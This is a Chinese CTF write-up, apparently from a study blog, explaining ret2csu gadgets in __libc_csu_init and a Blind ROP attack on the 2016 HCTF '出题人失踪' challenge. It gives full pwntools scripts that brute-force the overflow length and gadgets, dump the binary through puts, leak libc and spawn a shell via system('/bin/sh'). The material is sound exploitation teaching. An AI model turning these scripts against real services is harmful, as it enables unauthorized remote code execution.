ret2csu
详细分析参见ctf-wiki
64位程序传参规则
1 2
| 前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中 数超过六个时,从第七个开始压入栈中
|
__libc_csu_init函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| .text:0000000000400650 __libc_csu_init proc near ; DATA XREF: _start+16o .text:0000000000400650 push r15 .text:0000000000400652 mov r15d, edi .text:0000000000400655 push r14 .text:0000000000400657 mov r14, rsi .text:000000000040065A push r13 .text:000000000040065C mov r13, rdx .text:000000000040065F push r12 .text:0000000000400661 lea r12, __frame_dummy_init_array_entry .text:0000000000400668 push rbp .text:0000000000400669 lea rbp, __do_global_dtors_aux_fini_array_entry .text:0000000000400670 push rbx .text:0000000000400671 sub rbp, r12 .text:0000000000400674 xor ebx, ebx .text:0000000000400676 sar rbp, 3 .text:000000000040067A sub rsp, 8 .text:000000000040067E call _init_proc .text:0000000000400683 test rbp, rbp .text:0000000000400686 jz short loc_4006A6 .text:0000000000400688 nop dword ptr [rax+rax+00000000h] .text:0000000000400690 .text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54j .text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d .text:0000000000400699 call qword ptr [r12+rbx*8] .text:000000000040069D add rbx, 1 .text:00000000004006A1 cmp rbx, rbp .text:00000000004006A4 jnz short loc_400690 .text:00000000004006A6 .text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36j .text:00000000004006A6 add rsp, 8 .text:00000000004006AA pop rbx .text:00000000004006AB pop rbp .text:00000000004006AC pop r12 .text:00000000004006AE pop r13 .text:00000000004006B0 pop r14 .text:00000000004006B2 pop r15 .text:00000000004006B4 retn .text:00000000004006B4 __libc_csu_init endp
|
这里我们可以利用以下几点
- 从 0x00000000004006AA 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。
- 从 0x0000000000400690 到 0x0000000000400699,我们可以将 r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。
- 从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。
从0x4006AA到结尾,中间还有可以利用的gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| gdb-peda$ x/5i 0x00000000004006AA => 0x4006aa <__libc_csu_init+90>: pop rbx 0x4006ab <__libc_csu_init+91>: pop rbp 0x4006ac <__libc_csu_init+92>: pop r12 0x4006ae <__libc_csu_init+94>: pop r13 0x4006b0 <__libc_csu_init+96>: pop r14 gdb-peda$ x/5i 0x00000000004006AA+3 0x4006ad <__libc_csu_init+93>: pop rsp ##rsp 0x4006ae <__libc_csu_init+94>: pop r13 0x4006b0 <__libc_csu_init+96>: pop r14 0x4006b2 <__libc_csu_init+98>: pop r15 0x4006b4 <__libc_csu_init+100>: ret gdb-peda$ x/5i 0x00000000004006AA+5 0x4006af <__libc_csu_init+95>: pop rbp ##rbp 0x4006b0 <__libc_csu_init+96>: pop r14 0x4006b2 <__libc_csu_init+98>: pop r15 0x4006b4 <__libc_csu_init+100>: ret 0x4006b5: data16 nop WORD PTR cs:[rax+rax*1+0x0] gdb-peda$ x/5i 0x00000000004006AA+7 0x4006b1 <__libc_csu_init+97>: pop rsi ##rsi 0x4006b2 <__libc_csu_init+98>: pop r15 0x4006b4 <__libc_csu_init+100>: ret 0x4006b5: data16 nop WORD PTR cs:[rax+rax*1+0x0] 0x4006c0 <__libc_csu_fini>: repz ret gdb-peda$ x/5i 0x00000000004006AA+9 0x4006b3 <__libc_csu_init+99>: pop rdi ##rdi 0x4006b4 <__libc_csu_init+100>: ret 0x4006b5: data16 nop WORD PTR cs:[rax+rax*1+0x0] 0x4006c0 <__libc_csu_fini>: repz ret 0x4006c2: add BYTE PTR [rax],al
|
可以用ROPgadget进行验证
BROP
以2016hctf的出题人失踪为例。攻击思路
1 2 3 4 5 6
| 1、确定栈溢出长度 2、寻找stop_gadget 3、识别brop_gadget 4、确定puts@plt地址 5、泄露puts@got地址 6、根据puts@got的地址泄露出puts的地址,然后找到对应的libc,最后确定system和/bin/sh的地址
|
确定栈溢出长度
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * def getbufferflow_length(): i = 1 while 1: try: p = process("./brop") p.recvuntil("WelCome my friend,Do you know password?\n") p.send(i*'a') output = p.recv() p.close() if not output.startswith("No password"): return i-1 else: i = i+1 except EOFError: p.close() return i - 1 length = getbufferflow_length() print length
|
length = 72。同时,根据回显信息可以发现程序并没有开启 canary 保护,否则,就会有相应的报错内容。所以我们不需要执行 stack reading。
寻找stop_gadget
stop_gadget不会使程序崩溃,即某一程序开始的地址
在程序还没有开启 PIE 保护的情况下,0x400000 处为 ELF 文件的头部,其内容为 \ x7fELF。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * def get_stop_addr(length): addr = 0x400000 while 1: print hex(addr) try: p = process("./brop") p.recvuntil("password?\n") payload = length * 'a' + p64(addr) p.sendline(payload) p.recv() p.close() print "one success addr: 0x%x" %(addr) return addr except Exception: addr += 1 p.close() length = 72 stop_gadget = get_stop_addr(length)
|
有不少满足的的地址,这里选择近似main函数的 0x4006b6
识别brop_gadget
这里需要rdi ret;因此brop_gadget可以为__libc_csu_init中gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from pwn import * def get_brop_gadget(length,stop_addr,addr): try: p = process("./brop") p.recvuntil("password?\n") payload = 'a' * length + p64(addr)+p64(0)*6+p64(stop_addr)+p64(0)*10 p.sendline(payload) content = p.recv() p.close() print content if not content.startswith('WelCome'): return False return True except Exception: p.close() return False
def check_brop_gadget(length,addr): try: p = process("./brop") p.recvuntil("password?\n") payload = 'a'*length+p64(addr)+p64(0)*80 p.sendline(payload) content = p.recv() p.close() return False except Exception: p.close() return True def find_brop_gadget(): addr = 0x400740 while 1: print hex(addr) if get_brop_gadget(length,stop_gadget,addr): print "possible brop gadget: 0x%x"%(addr) if check_brop_gadget(length,addr): print "success brop gadget: 0x%x"%(addr) break addr += 1 length = 72 stop_gadget = 0x4006b6 find_brop_gadget()
|
brop_gadget = 0x4007ba,所以rdi_ret=brop_gadget+9
确定puts@plt地址
在程序还没有开启 PIE 保护的情况下,0x400000 处为 ELF 文件的头部,其内容为 \ x7fELF。因此可以构造
1
| payload = 'a'*72+(rdi_ret)+p64(0x400000)+p64(puts_plt)+p64(stop_gadget)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from pwn import * def get_puts_addr(length,rdi_ret,stop_gadget): addr = 0x400000 while 1: print hex(addr) p = process("./brop") p.recvuntil("password?\n") payload = 'a'*length + p64(rdi_ret) + p64(0x400000)+p64(addr)+p64(stop_gadget) p.sendline(payload) try: content = p.recv() if content.startswith('\x7fELF'): print "find puts@plt addr: 0x%x"%(addr) return addr p.close() addr += 1 except Exception: p.close() addr += 1 length = 72 stop_gadget = 0x4006b6 rdi_ret = 0x4007ba+9 puts_plt = get_puts_addr(length,rdi_ret,stop_gadget)
|
puts_plt = 0x400555
泄露puts@got地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import * def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget): sh = process('./brop') payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64( puts_plt) + p64(stop_gadget) sh.recvuntil('password?\n') sh.sendline(payload) try: data = sh.recv() sh.close() try: data = data[:data.index("\nWelCome")] except Exception: data = data if data == "": data = '\x00' return data except Exception: sh.close() return None length = 72 stop_gadget = 0x4006b6 rdi_ret = 0x4007ba+9 puts_plt = 0x400555 addr = 0x400000 result = "" while addr < 0x401000: print hex(addr) data = leak(length,rdi_ret,puts_plt,addr,stop_gadget) if data is None: continue else: result += data addr += len(data) with open('code1', 'wb') as f: f.write(result)
|
生成的文件code1用ida的binary形式打开,找到偏移为0x555处,按c查看汇编代码
puts_got = 0x400000+0x201018 = 0x601018
exploit
利用libcsearcher的时候打不通,只好调用本地libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import * from LibcSearcher import LibcSearcher length = 72 stop_gadget = 0x4005c0 rdi_ret = 0x4007ba+9 puts_plt = 0x400555 puts_got = 0x601018 sh = process('./brop') sh.recvuntil('password?\n') payload = 'a'*length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget) sh.sendline(payload) data = sh.recvuntil('\nWelCome',drop=True) puts_addr = u64(data.ljust(8,'\x00')) print(hex(puts_addr))
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search("/bin/sh"))
log.success('libc_base:0x%x' %libc_base)
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget) sh.sendline(payload) sh.interactive()
|
结果如下: